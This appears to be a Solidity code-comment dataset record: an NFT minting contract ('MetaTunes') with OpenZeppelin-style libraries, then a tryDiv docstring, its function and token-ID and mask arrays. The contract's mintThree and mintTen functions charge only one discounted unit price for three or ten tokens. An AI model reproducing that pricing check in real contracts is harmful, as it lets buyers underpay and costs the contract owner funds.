struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value)
internal
returns (bool)
{
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value)
internal
returns (bool)
{
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value)
internal
view
returns (bool)
{
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index)
internal
view
returns (bytes32)
{
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value)
internal
returns (bool)
{
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value)
internal
returns (bool)
{
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value)
internal
view
returns (bool)
{
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index)
internal
view
returns (address)
{
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value)
internal
returns (bool)
{
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value)
internal
view
returns (bool)
{
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index)
internal
view
returns (uint256)
{
return uint256(_at(set._inner, index));
}
}
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(
Map storage map,
bytes32 key,
bytes32 value
) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) {
// Equivalent to !contains(map, key)
map._entries.push(MapEntry({_key: key, _value: value}));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) {
// Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key)
private
view
returns (bool)
{
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index)
private
view
returns (bytes32, bytes32)
{
require(
map._entries.length > index,
"EnumerableMap: index out of bounds"
);
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key)
private
view
returns (bool, bytes32)
{
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(
Map storage map,
bytes32 key,
string memory errorMessage
) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(
UintToAddressMap storage map,
uint256 key,
address value
) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key)
internal
returns (bool)
{
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key)
internal
view
returns (bool)
{
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map)
internal
view
returns (uint256)
{
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index)
internal
view
returns (uint256, address)
{
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key)
internal
view
returns (bool, address)
{
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key)
internal
view
returns (address)
{
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(
UintToAddressMap storage map,
uint256 key,
string memory errorMessage
) internal view returns (address) {
return
address(
uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))
);
}
}
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + (temp % 10)));
temp /= 10;
}
return string(buffer);
}
}
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is
Context,
ERC165,
IERC721,
IERC721Metadata,
IERC721Enumerable
{
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping(address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner)
public
view
virtual
override
returns (uint256)
{
require(
owner != address(0),
"ERC721: balance query for the zero address"
);
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId)
public
view
virtual
override
returns (address)
{
return
_tokenOwners.get(
tokenId,
"ERC721: owner query for nonexistent token"
);
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
virtual
override
returns (uint256)
{
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index)
public
view
virtual
override
returns (uint256)
{
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner ||
ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId)
public
view
virtual
override
returns (address)
{
require(
_exists(tokenId),
"ERC721: approved query for nonexistent token"
);
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
virtual
returns (bool)
{
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
address owner = ERC721.ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId); // internal owner
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(
ERC721.ownerOf(tokenId) == from,
"ERC721: transfer of token that is not own"
); // internal owner
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI)
internal
virtual
{
require(
_exists(tokenId),
"ERC721Metadata: URI set of nonexistent token"
);
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(
abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
),
"ERC721: transfer to non ERC721Receiver implementer"
);
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits an {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {SafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
contract MetaTunes is ERC721, Pausable, Ownable {
using Counters for Counters.Counter;
using SafeMath for uint256;
Counters.Counter private _tokenIdCounter;
event Mint(address indexed to, uint256 indexed tokenId);
uint256 public CAP;
uint256 public PRICE_ONE;
uint256 public PRICE_DISCOUNT_TRIPLE;
uint256 public PRICE_DISCOUNT_TEN;
mapping(address => bool) whitelist;
uint256 presales = 0;
bool mintingStop4Ever = false;
constructor(
string memory _token_name,
string memory _token_symbol,
uint256 _CAP,
uint256 _PRICE_ONE
) ERC721(_token_name, _token_symbol) {
CAP = _CAP;
PRICE_ONE = _PRICE_ONE;
PRICE_DISCOUNT_TRIPLE = _PRICE_ONE.mul(90).div(100); //10% discount
PRICE_DISCOUNT_TEN = _PRICE_ONE.mul(80).div(100); //20% discount
pause();
}
function addToWhitelist(address[] memory wallets, bool enabled)
public
onlyOwner
{
for (uint256 i = 0; i < wallets.length; i++) {
whitelist[wallets[i]] = enabled;
}
}
function mintWhitelist(address _to, uint256 _amount) public payable {
require(whitelist[msg.sender], "Not whitlisted");
require(msg.value >= 5 * 10**16 * _amount);
uint256 newCap = presales.add(_amount);
require(newCap <= 100, "Mint would exceed allowed presale amount");
_mintX(_to, _amount);
presales = newCap;
}
function pause() public onlyOwner {
_pause();
}
function unpause() public onlyOwner {
_unpause();
}
function setPrice(uint256 newPrice) public onlyOwner {
PRICE_ONE = newPrice;
PRICE_DISCOUNT_TRIPLE = newPrice.mul(90).div(100);
PRICE_DISCOUNT_TEN = newPrice.mul(80).div(100);
}
function mintOne(address _to) public payable whenNotPaused {
require(msg.value >= PRICE_ONE, "Wrong amount sent");
_mintX(_to, 1);
}
function mintThree(address _to) public payable whenNotPaused {
require(msg.value >= PRICE_DISCOUNT_TRIPLE, "wrong amount sent");
_mintX(_to, 3);
}
function mintTen(address _to) public payable whenNotPaused {
require(msg.value >= PRICE_DISCOUNT_TEN, "wrong amount sent");
_mintX(_to, 10);
}
function _mintX(address _to, uint256 _amount) internal {
uint256 totalSupply = totalSupply();
require(
(totalSupply + _amount) <= CAP,
"mint would exceed the totalSupply"
);
require(!mintingStop4Ever, "Minting was stopped foreva eva");
for (uint256 i = 0; i < _amount; i++) {
_safeMint(_to, totalSupply + i);
}
}
function reservedMint(address _to, uint256 _amount) public onlyOwner {
_mintX(_to, _amount);
}
function withdraw() public onlyOwner {
uint256 balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
function setBaseURI(string memory _baseURI) public onlyOwner {
_setBaseURI(_baseURI);
}
function burnUnsold() public onlyOwner {
mintingStop4Ever = true;
}
}
|
* @dev Returns the division of two unsigned integers, with a division by zero flag. _Available since v3.4._/
|
function tryDiv(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
if (b == 0) return (false, 0);
return (true, a / b);
}
| 11,733,531 |
[
1,
1356,
326,
16536,
434,
2795,
9088,
12321,
16,
598,
279,
16536,
635,
3634,
2982,
18,
389,
5268,
3241,
331,
23,
18,
24,
6315,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
